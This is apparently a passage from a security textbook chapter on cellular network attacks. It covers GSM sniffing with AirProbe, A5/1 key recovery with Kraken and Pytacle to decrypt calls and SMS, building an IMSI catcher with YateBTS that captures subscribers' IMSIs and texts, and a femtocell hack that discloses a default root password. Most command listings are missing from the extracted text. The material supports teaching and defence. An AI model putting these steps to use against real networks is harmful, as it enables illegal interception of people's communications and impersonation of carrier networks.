Next,	we	download	Leech’s	GNU	Radio	build	script	(http://www.sbrac.org/files/build-
gnuradio),	mark	it	as	executable,	and	run	it.	The	script	should	be	run	as	a	non-root	user,
requires	that	our	system	be	set	up	to	grant	root	access	through	the	sudo	utility	to	install
packages	and	software	as	needed,	and	completes	installation	in	about	an	hour.	The	output
from	the	script	is	very	long	and	has	been	shortened	here	for	brevity:

http://www.sbrac.org/files/build-gnuradio


	

The	code	compilation	process	for	the	GNU	Radio	components	is	resource	intensive	and
will	require	at	least	2GB	RAM	in	your	guest	or	native	Linux	system.

After	the	GNU	Radio	installation	script	completes,	download	and	install	the	Open	Source
Mobile	Communications	library	(OSMOCOM)	source	with	git,	as	shown	here:

After	downloading	the	source,	we	change	to	the	libosmocore	directory.	Then	we	build
and	install	the	software,	as	shown	here:



Next,	we	download	the	AirProbe	software:

The	AirProbe	software	has	not	been	maintained	with	changes	to	the	GNU	Radio
structure.	To	update	AirProbe	for	compatibility	with	the	latest	GNU	Radio	release,	you
can	apply	a	patch	submitted	by	“neeo,”	available	at
https://raw.githubusercontent.com/scateu/airprobe-3.7-hackrf-patch/master/zmiana.patch
(mirrored	at	the	author’s	website,	shown	in	the	code	as	well).	We	change	to	the	airprobe
directory	and	then	download	and	apply	this	patch	to	update	the	AirProbe	software:

Next,	we	change	to	the	AirProbe	gsm-receiver	directory,	and	then	build	and	install	the
software,	as	shown	here:

Finally,	we	modify	the	PYTHONPATH	variable	to	search	for	locally	installed
packages,	as	shown	next.	We	apply	the	changes	initially	with	the	source	command;	this
step	will	happen	automatically	the	next	time	we	log	in	to	our	Linux	host.

https://raw.githubusercontent.com/scateu/airprobe-3.7-hackrf-patch/master/zmiana.patch


With	the	AirProbe	software	installed,	we	can	test	GSM	decoding	functionality.	We	can
test	AirProbe	using	a	GSM	signal	file	(“cfile”)	supplied	by	the	Chaos	Computer	Club
(CCC)	hackers.	We	change	to	the	AirProbe	Python	source	directory	and	then	download
the	GSM	capture	file	supplied	on	the	CCC	wiki:

Next,	we	start	Wireshark	with	root	privileges	using	sudo:
$	sudo	wireshark	&

The	AirProbe	software	delivers	decoded	GSM	packets	through	UDP	payloads	sent	to	the
local	loopback	interface.	We	start	a	packet	capture	after	selecting	the	“lo”	adapter,	as
shown	here.

Then	we	use	the	AirProbe	go.sh	script	to	decode	the	CCC	GSM	signal	file,	as	shown
here:



The	GSM	packet	hexdump	information	will	be	displayed	on	the	terminal	and	sent	over
UDP,	where	it	will	be	received	and	decoded	by	Wireshark.	In	Wireshark,	we	can	view	the
decoded	information,	identifying	attributes	about	the	carrier	network,	including	the
MCC/MNC	information,	as	shown	here.

	

The	Wireshark	capture	must	be	started	prior	to	starting	the	go.sh	script	to	capture	the	GSM
traffic.

With	stored	signal	capture	file-processing	working,	we	can	move	on	to	live	GSM



capture.	Because	GSM	frequencies	vary	depending	on	the	carrier’s	selections,	it	is
necessary	to	scan	for	local	GSM	activity.	We	can	do	this	manually	using	SDR#	on
Windows	systems,	looking	for	signal	patterns	similar	to	the	GSM	example	shown	in
Figure	12-3,	but	we	can	also	automate	it	using	the	Kalibrate	utility.

Figure	12-3	SDR#	GSM	network	activity

Kalibrate	was	written	by	Joshua	Lackey	to	calibrate	the	RF	receive	frequency	of	the
RTL-SDR.	Some	RTL-SDR	devices	are	susceptible	to	inaccurate	frequency	changes	(e.g.,
the	radio	tunes	to	849.5	MHz	when	told	to	tune	to	850	MHz).	Because	this	is	problematic
for	reliable	signal	analysis,	Kalibrate	can	identify	this	drift	by	scanning	for	GSM	networks
and	capturing	sufficient	data	to	identify	the	reported	frequency	(versus	the	set	frequency)
to	identify	the	offset.	We	can	use	this	utility	for	similar	purposes,	but	also	to	perform	GSM
network	scanning	and	frequency	reporting.

First,	we	download	the	Kalibrate	sources	using	git,	as	shown	here:

Next,	we	change	to	the	Kalibrate	directory	and	build	the	software:

Before	using	the	RTL-SDR	on	Linux,	we	have	to	remove	a	compatible	but	conflicting
driver	module—the	dvb_usb_rtl28xxu	driver,	as	shown	next.	We	also	add	the	driver	to	the
Linux	blacklist	to	prevent	it	from	loading	after	a	reboot	as	well:

Next,	we	run	Kalibrate	and	scan	for	available	GSM	networks.	We	start	with	an	initial
RF	gain	value	of	42	dB	and	an	initial	frequency	error	of	22	ppm,	scanning	for	GSM



networks	in	the	North	American	850-MHz	band	(in	Europe	and	other	parts	of	the	world,
specify	GSM900):

In	this	output,	Kalibrate	has	identified	three	GSM	networks	within	range	of	the	RTL-SDR,
with	the	greatest	power	level	on	channel	234	at	890.4	MHz.	To	capture	live	traffic	on	this
frequency,	we	start	a	live	capture	with	Wireshark	on	the	lo	interface	and	then	invoke	the
gsm_receive_rtl.py	script,	as	shown	here:

In	this	example,	we	reduce	the	sample	rate	to	1	million	samples/second	to	lessen	the
overhead	on	the	host	system	and	match	the	bandwidth	used	by	GSM	networks	(-s	1e6)
with	a	center	frequency	of	890.4	MHz.	The	gain	value	is	set	to	24	dB,	but	we	can	adjust	it
as	needed	for	channels	with	lower	power	levels.

The	gsm_receive_rtl.py	script	will	invoke	a	GUI	window	displaying	real-time	signal
strength	information,	as	shown	in	the	first	illustration,	while	also	displaying	packet
content	and	receive	error	information	in	the	terminal	window,	as	shown	in	the	second
illustration.	Packets	that	are	received	successfully	are	sent	in	UDP	packets	over	the
loopback	interface	and	are	then	received	and	decoded	by	Wireshark.



Although	it	is	possible	that	some	networks	outside	of	North	America	and	Europe	still
use	the	A5/0	cipher	and	will	transmit	unencrypted	voice,	data,	or	SMS/MMS	activity,
most	of	the	time	this	content	will	be	encrypted	and	inaccessible	through	Wireshark.
However,	vulnerabilities	in	the	A5/1	cipher	also	make	it	vulnerable	to	key	recovery
attacks,	allowing	an	adversary	to	overcome	this	security	obstacle.

GSM	A5/1	Key	Recovery
Although	the	details	of	the	A5/1	cipher	implementation	were	initially	kept	a	secret,	a
reference	implementation	was	made	public	in	1999	by	Marc	Briceno	following	the	reverse
engineering	analysis	of	a	handset.	This	implementation	made	it	possible	for
cryptographers	to	evaluate	the	quality	of	the	protocol	publicly,	without	the	restrictions	of	a



nondisclosure	agreement.

The	results	were	not	good.	The	A5/1	cipher	has	had	a	long	history	of	significant
vulnerabilities,	the	most	damaging	of	which	debuted	in	2008,	courtesy	of	David	Hulton
and	“Steve”	from	The	Hacker’s	Choice	(THC),	in	the	form	of	a	precomputed	reference
attack	for	full	key	recovery.	In	this	attack,	an	adversary	computes	the	keystream	of	several
known-plaintext	packets	through	observed	ciphertext	and	identifies	the	encryption	key	by
mapping	the	keystream	data	to	known	keystream	state	information	in	lookup	tables.
Through	this	attack,	the	adversary	recovers	Ki	in	approximately	30	minutes,	using	a	set	of
precomputed	lookup	tables	consisting	of	288	quadrillion	possible	entries	(approximately
2TB	of	storage).	This	attack	was	implemented	and	made	available	publicly	in	the	gsm-
tvoid	tool.

Shortly	after	Hulton	and	THC’s	presentation	on	gsm-tvoid,	the	lookup	tables	and	the
gsm-tvoid	tools	were	taken	offline	without	explanation.	Public	speculation	indicated
possible	government	intervention	to	limit	an	attacker’s	ability	to	exploit	the	flaws	in	GSM,
leading	to	the	development	of	the	Kraken	project.

In	2009,	cryptographers	Karsten	Nohl	and	Sascha	Krißler	debuted	the	A5/1	Cracking
Project	(https://opensource.srlabs.de/projects/a51-decrypt).	Nohl	and	Krißler	reproduced
and	optimized	the	work	previously	published	by	Hulton	and	THC,	distributing	the	key-
recovery	lookup	tables	through	peer-to-peer	networks	to	prevent	them	from	being	taken
offline	easily.	In	2011,	A5/1	Cracking	Project	team	member	Frank	Stevenson	released
Kraken,	a	practical	tool	that	integrates	with	AirProbe	for	the	effective	capture	and
decryption	of	GSM	traffic	with	the	A5/1	tables.	Shortly	thereafter,	developer	Daniel
Meade	also	released	Pytacle,	a	tool	that	automates	the	capture	of	GSM	activity	(through
AirProbe),	the	decryption	of	GSM	traffic	(through	Kraken),	and	the	conversion	of
decrypted	audio	content	into	files	that	are	easily	played	back	for	a	full	and	simple	passive
GSM	decryption	attack.

	A5/1	Key	Recovery	with	Pytacle

Despite	Pytacle	providing	a	simple	interface	to	implement	an	A5/1	key	recovery
attack,	getting	all	the	pieces	necessary	to	mount	the	attack	is	not	straightforward	and	will
require	the	following	resources:

•		RTL/SDR	with	AirProbe	software	for	GSM	capture	with	source
modifications	(see	“GSM	Sniffing	with	Airprobe,”	earlier	in	this	chapter)

•		Kraken	software	with	source	modifications	for	modern	GCC	development

https://opensource.srlabs.de/projects/a51-decrypt


•		Pytacle	software	and	several	additional	dependencies

•		An	ATI	video	accelerator	for	optimized	runtime	attack	computation	of	A5/1
encryption	operations	(optional)

•		A5/1	tables	on	a	temporary	storage	drive,	approximately	1.6TB

•		A5/1	tables	written	to	one	or	more	lookup	drives,	approximately	3TB

In	order	to	mount	an	attack	that	recovers	the	A5/1	key,	first	we	must	prepare	our	system.

Preparing	for	the	A5/1	Rey	Recovery	Attack
We	need	to	complete	several	steps	to	prepare	our	system	for	the	attack.	Many	of	these
steps	are	lengthy;	this	process	may	take	several	days	to	weeks	to	complete.

Download	and	Build	Kraken	The	Kraken	software	consists	of	several	components	to
generate	A5/1	tables	using	video	accelerators,	utilities	to	perform	the	key	recovery	attack
using	the	local	CPU	or	an	ATI	video	accelerator,	and	the	utility	to	prepare	a	raw	disk	for
the	keystream	lookup	attack.	The	official	repository	for	Kraken	is	available	at
https://opensource.srlabs.de/projects/a51-decrypt.	In	the	past	few	years,	however,	Kraken
development	has	stalled,	and	it	will	no	longer	compile	on	modern	Linux	systems	with
recent	versions	of	the	GNU	C	Compiler	(GCC).	As	an	alternative	to	manually	patching	the
code	from	the	official	repository,	you	can	download	this	author’s	fork	of	Kraken	from
GitHub,	as	shown	here:

After	downloading	the	source	code,	we	change	to	the	Kraken	directory	and	build	the
software.	A	standard	make	expects	that	the	local	system	has	a	working	ATI	video	card	with
GPU	offloading	capability.	Since	this	is	not	a	requirement	for	GSM	cracking,	we	can
alternatively	build	the	software	with	make	noati,	as	shown	here:

Download	the	A5/1	Tables	The	A5/1	tables	are	made	available	on	distributed	peer-to-
peer	networks	with	BitTorrent.	Even	with	a	fast	Internet	connection,	downloading	the
A5/1	tables	will	likely	take	several	weeks	to	complete,	and	may	take	several	months

https://opensource.srlabs.de/projects/a51-decrypt


depending	on	the	availability	of	other	peers	distributing	the	tables.	The	BitTorrent	seeds
for	the	40	A5/1	tables	are	available	at	https://opensource.srlabs.de/projects/a51-
decrypt/files,	where	each	file	is	approximately	42GB	in	size.	Use	a	BitTorrent	tool	such	as
the	command-line	ctorrent	(www.rahul.net/dholmes/ctorrent)	to	download	the	tables.
Alternatively,	if	you	are	attending	a	hacker	conference	in	the	near	future,	you	could
consider	using	mailing	lists	to	seek	out	another	attendee	and	ask	to	perform	a	local	copy
while	at	the	conference.
	

Even	a	local	copy	of	1.6TB	takes	a	long	time	to	copy.	At	40MB/s	(typical	performance	for
commodity	random-access	hard	drives),	a	copy	operation	will	complete	in	12	hours.

For	these	instructions,	we	assume	the	A5/1	tables	are	accessible	on	a	drive	mounted	at
/media/a51.

Prepare	the	A5/1	Lookup	Drive	The	A5/1	lookup	tables	are	not	used	directly	for
cracking	purposes.	Instead,	the	files	are	written	to	a	raw	disk	device	(e.g.,	a	disk	device
without	a	filesystem)	to	accelerate	lookup	operations	and	index	searches.	To	write	the
A5/1	lookup	table	files	to	lookup	disks,	we	use	the	Behemoth	script.

Included	with	the	Kraken	software	in	the	indexes	directory,	Behemoth	reads	a
configuration	file	in	the	current	directory	that	describes	the	configuration	of	disks
available	and	the	number	of	tables	to	store	on	each	disk.	The	sample	configuration	file,
tables.conf.sample,	can	be	copied	to	tables.conf	and	edited	as	needed.

First,	we	identify	the	device	names	of	disks	that	are	connected	to	this	host	and
available	to	Kraken	with	the	fdisk	utility:

In	this	output,	three	disks	are	available.	The	first	“/dev/sda”	is	used	for	the	Linux	system
and	should	not	be	used	for	Kraken.	The	second	disk	“/dev/sdb”	contains	the	Kraken	raw
tables	retrieved	from	BitTorrent,	and	the	third	disk	“/dev/sdc”	will	be	the	lookup	disk	used
for	Kraken	key-recovery	searches.

	

https://opensource.srlabs.de/projects/a51-decrypt/files
http://www.rahul.net/dholmes/ctorrent


Solid-state	drives,	as	opposed	to	traditional	random	access	drives,	will	significantly
accelerate	the	Kraken	key	lookup	attack.

Because	only	a	single	disk	is	used	for	key	lookup	searches,	we	specify	/dev/sdc	as	the
lookup	disk	target.	You	should	decide	on	your	own	disk	configuration	that	best	suits	your
needs,	possibly	using	several	disks.	A	complete	tables.conf	file	for	this	configuration	is
shown	here:

	

Be	very	careful	when	specifying	the	device	path	in	the	tables.conf	file.	Device	names	can
change	on	reboot	or	when	USB	devices	are	removed	and	reinserted.	Make	sure	the	device
identified	in	the	tables.conf	file	is	not	one	where	you	have	data	stored	that	you	want	to
save.

Next,	we	run	the	Behemoth.py	script	and	specify	the	directory	location	where	the	A5/1
raw	tables	are	stored	(/media/a51	in	our	example	here).	Behemoth	creates	indexes	for	each
of	the	tables	in	the	current	directory	and	writes	the	contents	of	each	table	in	raw	format	to
the	disk	specified	in	tables.conf.	Please	be	careful	about	specifying	the	correct	disk	device
in	tables.conf	since	this	operation	will	overwrite	data	on	the	target	drive.



The	Behemoth.py	script	will	take	several	hours	to	complete,	depending	on	the	speed	of
your	disks.	When	it	finishes,	we	have	a	directory	structure	with	index	files	similar	to	the
example	shown	here:

Install	gsmframecoder	The	gsmframecoder	utility	written	by	Johann	Betz	is	used	by
Pytacle	to	calculate	the	GSM	frame	burst	packet	content.	These	packets	are	encrypted
during	transmission,	but	the	plaintext	content	is	readily	known,	allowing	us	to	recover
keystream	data	from	the	A5/1	cipher.	We	download,	extract,	build,	and	install	the
gsmframecoder	utility,	as	shown	here:

Install	GSM	Codec	The	GSM	protocol	uses	the	GSM	06.10	RPE-LTP	(Regular-Pulse
Excitation	Long-Term	Predictor)	codec	for	audio	transmissions.	A	public	code
implementation	capable	of	converting	GSM	RPE-LTP-encoded	audio	to	wav	format,
written	by	Jutta	Degener	and	Carsten	Bormann,	is	available	at	http://www.quut.com/gsm.

http://www.quut.com/gsm


The	toast	utility	included	with	the	GSM	codec	project	is	also	needed	by	Pytacle	to	extract
decrypted	audio	content.	We	download,	extract,	build,	and	install	the	codec,	as	shown
here:

Install	the	RTL-SDR	File	Format	Converter	The	AirProbe	software	is	not	actively
maintained	and	suffers	from	a	few	bugs	that	prevent	it	from	being	easily	used	with	Pytacle
following	significant	changes	to	the	GNU	Radio	architecture.	One	significant	issue	is	that
the	gsm_receive_rtl.py	script	cannot	save	a	signal	capture	file	in	the	format	necessary	for
Pytacle	to	use	for	key	recovery	and	data	extraction	(e.g.,	gsm_receive_rtl.py	with	-o
only	writes	0-byte	files).

However,	it	is	possible	to	convert	a	signal	capture	file	captured	with	the	rtl_sdr	utility
to	the	format	used	by	Pytacle	with	the	rtlsdr-to-gqrx	utility	written	by	Paul	Brewer
(https://gist.github.com/DrPaulBrewer).	We	download	this	simple	tool,	compile,	and
install,	as	shown	here:

Install	Pytacle	Next,	we	download	and	extract	the	Pytacle	tool:

Pytacle	needs	to	be	configured	with	the	location	of	several	of	the	utilities	used	as	part	of
the	attack.	Click	the	Properties	button	and	enter	the	path	information	for	each	of	the
utilities	shown,	similar	to	the	following	example.

https://gist.github.com/DrPaulBrewer


Once	Pytacle	is	configured,	it	saves	the	filename	location	preferences	so	they	don’t
need	to	be	reentered	each	time	we	use	the	tool.	We	then	exit	Pytacle	to	complete	our
system	preparation	for	the	A5/1	GSM	key	recovery	attack.

Executing	the	A5/1	Key	Recovery	Attack
With	all	the	pieces	in	place,	we	can	now	mount	a	key	recovery	attack	against	the	A5/1
cipher.	First,	we	capture	the	radio	signal	information	for	a	GSM	frequency	using	the
rtl_sdr	utility,	as	shown	next.	Note	that	the	rtl_sdr	utility	does	not	show	any	decoding
output,	so	it	is	best	to	capture	initially	with	gsm_receive_rtl.py	to	make	sure	you’re	getting
GSM	traffic	before	switching	to	rtl_sdr	to	produce	the	capture	file.

	

Remember,	it	is	illegal	in	the	United	States	and	in	many	other	countries	to	intercept
cellular	network	activity.	The	information	presented	here	is	meant	for	reference	so	you
recognize	what	an	attacker	is	capable	of;	it	should	not	be	applied	in	practice.

	

Identify	the	frequency	of	the	target	GSM	network	with	the	Kalibrate	kal	tool,	as	described
earlier	in	this	chapter.



After	capturing	for	a	period	of	time,	we	stop	the	rtl_sdr	process	by	pressing	CTRL-C.
Next,	we	convert	the	gsm.bin	file	into	the	format	needed	for	use	with	Pytacle	using	the
rtlsdr-to-gqrx	utility,	as	shown	here:
$	rtlsdr-to-gqrx	/tmp/gsm.bin	/tmp/gsm.cfile

	

Run	successfully,	the	rtlsdr-to-gqrx	utility	produces	no	messages	and	will	simply	return	to
your	command	prompt.	The	output	file	should	be	exactly	four	times	as	large	as	the	input
file.

Next,	we	start	the	Kraken	server	process	with	the	index	files	on	the	Pytacle-expected
TCP	port	9666.	This	process	will	utilize	approximately	1.6GB	of	RAM	on	our	system:

	

The	Kraken	server	process	can	run	on	a	different	host	than	the	GSM	capture	and	Pytacle
attack	system.	Simply	change	the	IP	address	of	the	Kraken	server	in	the	Pytacle	properties



from	“127.0.0.1”	to	the	Kraken	server	IP	address.

Next,	we	start	Pytacle,	as	shown	here:

Instead	of	using	Pytacle’s	built-in	capture	function	(which	will	not	produce	a	capture
file	that	can	be	attacked	due	to	bugs	in	AirProbe’s	gsm_receive_rtl.py),	we	manually
specify	the	cfile	output	from	rtlsdr-to-gqrx	as	the	infile	in	the	Crack	dialog.	We	click	the
Crack	button	to	start	the	cracking	process.

If	your	GSM	capture	file	does	not	contain	encrypted	GSM	activity,	then	Pytacle	will
quickly	report	“No	Immediate	Assignment	found,	sorry!”	Otherwise,	Pytacle	will	decode
and	parse	the	GSM	packet	data,	attempt	to	recover	keystream	data	using	gsmframecoder,
and	send	the	keystream	content	to	the	Kraken	server	for	analysis.

When	the	Kraken	server	receives	the	keystream	data,	it	will	use	the	raw	A5/1	disk
resource	to	search	for	the	associated	key	information.	If	found,	Kraken	will	return	the	key
information	to	Pytacle,	giving	you	the	opportunity	to	decrypt	and	extract	audio	content
and	SMS/MMS	messages	from	the	capture	file,	as	shown	here.



	Defending	Against	A5/1	Key	Recovery
A5/1	key	recovery	through	Kraken	and	Pytacle	is	a	complex	and	involved	process.	From
an	attacker’s	perspective,	this	key	recovery	process	is	advantageous	because	it	allows	him
to	capture	GSM	activity,	recover	the	Kc	key,	and	decrypt	activity	passively,	precluding	any
opportunity	for	detection	through	anomaly	analysis	tools.

From	a	defensive	perspective,	avoid	the	use	of	GSM	networks.	Modern	3G	and	4G
LTE	networks	are	not	vulnerable	to	the	A5/1	key	recovery	attack,	making	them	a	more
secure	option	for	users.	However,	GSM	networks	remain	the	most	wide-reaching	form	of
cellular	communication	worldwide	and	will	likely	continue	to	be	used	for	many	years	to
come.

As	an	alternative	to	the	A5/1	key	recovery	attack,	an	adversary	can	exploit	a	second
significant	flaw	in	GSM	networks	to	recover	audio	and	SMS/MMS	content:	the	lack	of
mutual	authentication.

GSM	IMSI	Catcher



GSM	networks	authenticate	the	identity	of	the	mobile	equipment	by	verifying	that	the
correct	IMSI	and	corresponding	Ki	are	used	to	calculate	the	SRES.	Although	this	provides
an	authentication	mechanism	for	the	carrier	to	protect	against	unauthorized	use	attacks,	it
does	not	validate	the	identity	of	the	network	to	the	client	device.

This	vulnerability	represents	an	opportunity	for	an	attacker	to	impersonate	the
legitimate	GSM	network	and	collect	the	subscribe	IMSI	through	a	device	known	as	an
IMSI	catcher.	Furthermore,	the	attacker	can	provide	network	services	similar	to	those
offered	by	the	legitimate	provider,	making	it	difficult	for	subscribers	to	recognize	that	they
are	connected	to	an	imposter	network.	If	a	victim	uses	the	imposter	network	to	send	and
receive	SMS/MMS	messages,	make	phone	calls,	and	send	or	receive	data,	the	information
will	transit	the	attacker’s	network,	giving	her	an	eavesdropping	attack	opportunity	as	well.

Although	2.5G	GSM	networks	can	provide	mutual	authentication,	this	feature	was	not
widely	adopted	until	3G	networks.	The	cost	of	upgrading	equipment	in	legacy	GSM
networks	is	a	commonly	cited	factor	for	not	migrating	to	2.5G.

Several	publically	available	devices	are	available	within	the	United	States	that	are
capable	of	receiving	and	transmitting	2G	GSM	communication.	As	previously	mentioned,
it	is	against	the	law	in	the	United	States	to	transmit	on	licensed	frequencies.	The	steps
presented	here	should	be	applied	with	caution	to	avoid	interfering	with	authorized	GSM
networks	and	subscribers.

	Implement	an	IMSI	Catcher	with	YateBTS

To	create	an	IMSI	catcher	for	a	2G	network,	we	need	software	and	hardware
components	capable	of	implementing	the	Base	Station	Subsystem	(BSS)	and	Network
Switching	System	(NSS)	components.

Multiple	pieces	of	hardware	are	available	to	implement	a	2G	network.	Range
Networks,	developer	of	the	OpenBTS	project,	sells	a	hardware	device	suitable	for	running
a	2.5G	network	that	can	be	used	as	an	IMSI	catcher
(http://www.rangenetworks.com/products/professional-development-kit).	This	professional
development	kit	is	priced	at	$2,300US	and	provides	hardware	that	operates	at
GSM850/GSM900/DCS1800/PCS1900.	The	OpenBTS	software	package	initially
developed	by	Harvind	Samra,	David	A.	Burgess,	and	Glenn	Edens	is	compatible	with	the
development	kit	and	provides	voice,	SMS,	and	General	Packet	Radio	Service	(GPRS)	for
data	communications.

On	its	website	(http://www.openbts.org),	the	OpenBTS	project	indicates	its	objective	is

http://www.rangenetworks.com/products/professional-development-kit
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to	create	a	“Linux	application	that	uses	a	software-defined	radio	to	present	a	standard
3GPP	air	interface	to	user	devices.”	Its	objective	is	not	to	create	IMSI	catching	devices;
instead,	it’s	to	“expand	coverage	to	unserved	and	underserved	markets	while	unleashing	a
platform	for	innovation,	including	offering	support	for	emerging	network	technologies”
(http://openbts.org/about).

A	GSM	BSS	and	NSS	can	be	implemented	with	OpenBTS	using	other	hardware
options	as	well,	including	the	Fairwaves	UmTRX,	Ettus	research	devices	(B-Series:	B100,
B200,	B210,	E100,	E110	[limited	support],	N200,	N210,	USRP2),	and	the	Nuand	bladeRF
devices	(including	the	x115	that	retails	for	$650	or	the	x40	that	retails	for	$420,	available
at	http://nuand.org).	The	Ettus	B200	is	another	low-cost	option	for	$675
(http://www.ettus.com).

In	January	2014,	two	of	the	early	developers	of	OpenBTS	released	a	forked	version	of
OpenBTS	called	YateBTS	(http://www.yatebts.com).	YateBTS	incorporates	much	of	the
source	of	OpenBTS,	but	decouples	many	of	the	communication	components	to	provide	a
modular	communication	capability.

In	this	attack,	we	explore	the	steps	to	creating	an	IMSI	catcher	using	YateBTS	and	a
Nuand	bladeRF	x115	device	(shown	next).	Other	hardware	can	also	be	used	but	may
require	slightly	different	configuration	steps.	Always	refer	to	the	latest	resources	on	the
YateBTS	and	Nuand	websites	for	configuration	instructions.

The	target	system	is	Ubuntu	14.04	on	a	modern	system	with	USB	3.0	interfaces
(required	for	bladeRF	functionality).	First,	we	add	the	Ubuntu	Personal	Package	Archive
(PPA)	for	the	Ubuntu	universe	and	multiverse	archives.	In	this	example,	we	add	the
repositories	for	the	Ubuntu	14.04	(trusty)	release.	You	should	specify	the	appropriate
Ubuntu	release	for	your	platform:

Next,	we	add	the	PPA	for	the	bladeRF	project	and	update	the	package	list:

http://openbts.org/about
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Then,	we	install	the	package	dependencies	needed	for	the	bladeRF	hardware:

With	the	bladeRF	packages	installed,	we	connect	the	bladeRF	device	to	a	USB	3.0
port	and	confirm	system	functionality	by	interacting	with	the	device	using	the	bladeRF-cli
command-line	utility.	The	example	here	allows	us	to	query	the	bladeRF	device	to	verify
operating	functionality	and	gather	basic	information	about	the	hardware:

Next,	we	install	the	Yet	Another	Telephony	Engine	(YATE)	software.	Since	Yate	is
undergoing	active	development,	we	have	to	download	and	build	the	source	manually.	We
use	these	steps	to	download	the	Yate	source	and	then	configure,	build,	and	install	it	on	our
system:

Next,	we	repeat	these	steps	for	the	YateBTS	software	as	well.	In	the	output	from	the
configure	script,	make	sure	you	see	output	that	indicates	bladeRF	support	was	found	on
the	system,	similar	to	“checking	for	bladeRF	support	using	pkg-config…	0.16.2-2014.09-
rc2-1-ppatrusty”:

Yate	relies	on	multiple	configuration	files	for	system	functionality	in
/usr/local/etc/yate:	subscribers.conf,	ybts.conf,	and	javascript.conf.	First,	we	open	the



subscribers.conf	file	and	change	the	line	;regexp=	to	read	regexp=.*.	This	change	allows
any	mobile	device	to	connect	to	the	network.	We	save	and	close	the	file.

Next,	we	open	ybts.conf	and	change	the	Radio.Band=	line	to	Radio.Band=900	to
configure	the	radio	to	operate	in	the	European	GSM	band	(in	North	America,	this	allows
us	to	operate	a	GSM	base	station	using	the	North	American	Industrial,	Scientific,	and
Medical,	or	ISM,	public	band).	We	change	the	Radio.C0=	line	to	Radio.C0=50	to	set	the
Absolute	Radio	Frequency	Channel	Number	(ARFCN).	In	the	transceiver	section,	we
change	the	line	;Path=./transceiver	to	Path=./transceiver-bladerf.	This	change
utilizes	the	correct	transceiver	executable	under	the	mbts	process	for	YateBTS.	Finally,	we
save	and	close	the	file.

Next,	we	open	the	javascript.conf	file	and	add	the	routing	and	Network	in	a	Box	(NIB)
lines,	as	shown	here:
[general]

routing=welcome.js

[scripts]

nib=nib.js

After	adding	these	lines,	we	save	and	close	the	file.

Next,	we	establish	the	logging	directory	for	Yate:
$	sudo	mkdir	-p	/var/log/yate

Finally,	we	add	the	/usr/local/lib	directory	to	the	systemwide	library	search	path,	as	shown
here:

We	start	the	yate	executable	to	create	the	GSM	base	station:
$	yate	-sd	-vvvvv	-l	yate.log

Then	we	inspect	the	logging	file	contents	to	identify	and	correct	any	configuration
errors	on	the	system.	If	Yate	starts	without	an	error,	it	will	invoke	a	second	process
“mbts,”	which	acts	as	the	BSS	modem	and	supervises	the	physical	and	link	layer
interfaces.	We	make	sure	both	processes	are	running,	as	shown	here:
$	pgrep	-fl	yate

38917	yate

$	pgrep	-fl	mbts

38920	mbts

Once	we	have	the	yate	instance	running,	we	can	query	the	IMSI	values	of	victim
devices	connecting	to	the	imposter	network,	as	shown	here:

If	SMS	messages	are	sent	through	a	device	connected	to	our	yate	instance,	they	are



captured	and	stored	for	later	inspection.	To	retrieve	the	SMS	information	from	yate,	we
connect	to	the	management	port	with	the	nc	utility	and	query	the	SMS	list:

The	text	of	the	message	itself	is	available	via	the	JavaScript	in	nib.js.	Within	this
JavaScript,	the	parameter	to	the	msg.execute	containing	the	text	content	to	send	is	text.
Complete	access	for	eavesdropping	on	and	manipulating	the	content	of	the	SMS	messages
is	available	to	the	operator	of	the	yate	instance.

So	far	we’ve	looked	at	techniques	that	focus	on	GSM	networks.	In	the	United	States,
because	of	the	laws	pertaining	to	cellular	network	monitoring,	little	work	has	been	done
on	CDMA	network	eavesdropping.	However,	it	is	possible	to	exploit	both	GSM	and
CDMA	networks,	exploiting	both	2G	and	3G	network	architectures	by	repurposing
authorized	devices	found	in	many	homes	and	businesses:	femtocells.

Femtocell	Attacks
Femtocell	devices	extend	the	carrier	network,	leveraging	the	consumer’s	broadband
connection	for	uplink	connectivity.	Femtocell	devices	(dubbed	Home	NodeB	or	HNB	in
3GPP	parlance)	allow	consumers	to	establish	a	relatively	short-range	extension	of	the
carrier	network	that	provides	similar	connectivity	services,	namely	voice,	data,	and
SMS/MMS	messaging.	In	facilities	that	have	poor	or	no	coverage	from	the	carrier,	an
HNB	device	can	offer	access	to	services	previously	inaccessible	to	the	consumer.
Similarly,	HNB	devices	also	offer	the	attacker	new	opportunities	to	attack	the	carrier
infrastructure,	as	well	as	downstream	User	Equipment	(UE)	devices,	including	handsets.

The	HNB	device	uses	IPsec	to	connect	to	the	carrier	network	and	provides	strong
confidentiality	and	integrity	support	over	the	untrusted	broadband	connection.	The	HNB	is
responsible	for	encrypting	and	decrypting	the	3G	voice,	data,	and	messaging	services
locally	before	forwarding	to	the	UE	or	to	the	carrier	over	IPsec.	This	distributed
encryption/decryption	of	UE	data	creates	an	opportunity	for	an	adversary	to	mount	attacks
against	unsuspecting	UE	devices.

Remember	the	HNB	is	an	authorized	device	on	the	carrier	network,	and	it	has	access
to	dynamic	key	information	used	to	encrypt	and	decrypt	the	3G	connection.	The	HNB’s
position	as	“man-in-the-middle”	creates	several	attack	opportunities,	including	the
manipulation	and	interception	of	phone	calls.

	Vodafone	Sure	Signal	Hack



The	widely	successful	hacking	group	The	Hacker’s	Choice	(THC)	worked	in	secret	for
almost	two	years	to	manipulate	a	femtocell	device	known	as	the	Sure	Signal,	shown	next.
Distributed	by	Vodafone	in	the	United	Kingdom,	the	Sure	Signal	is	a	GSM	device	capable
of	supporting	voice,	data,	and	SMS/MMS	messaging	with	2G	and	3G	protocols,	available
for	£100	(approximately	$160US).

Using	open	source	components	and	reverse	engineering	techniques,	THC	was	able	to
identify	an	on-board	serial	console	that	could	be	added	by	soldering	an	RS232-to-TTL
serial	adapter	to	the	Sure	Signal	board.	Through	the	console,	THC	revealed	that	it	is
possible	to	gain	shell	access	to	the	MontaVista	Linux	operating	system	supporting	the
Sure	Signal	with	the	root	password	“newsys.”

With	root	access	to	the	filesystem,	THC	also	demonstrated	that	several	local	system



attacks	become	possible	with	the	Sure	Signal:

•		Disabling	of	the	local	firewall	granting	network-based	remote	access	to	the
Sure	Signal	over	SSH.

•		Increasing	the	transmit	power	of	the	Sure	Signal	through	the	built-in	fpgaP0
utility,	boosting	the	effective	range	of	the	femtocell.

•		The	Sure	Signal	is	configured	through	a	set	of	XML	files	located	in
/mnt/mainfs/oam_data/dynamic/backup/*.xml.	Removing	the	dps.param	entry
from	the	XML	file	stops	the	Sure	Signal	from	applying	any	updates	delivered
from	the	carrier	(for	example,	updates	that	might	resolve	vulnerabilities	being
exploited	on	the	device).

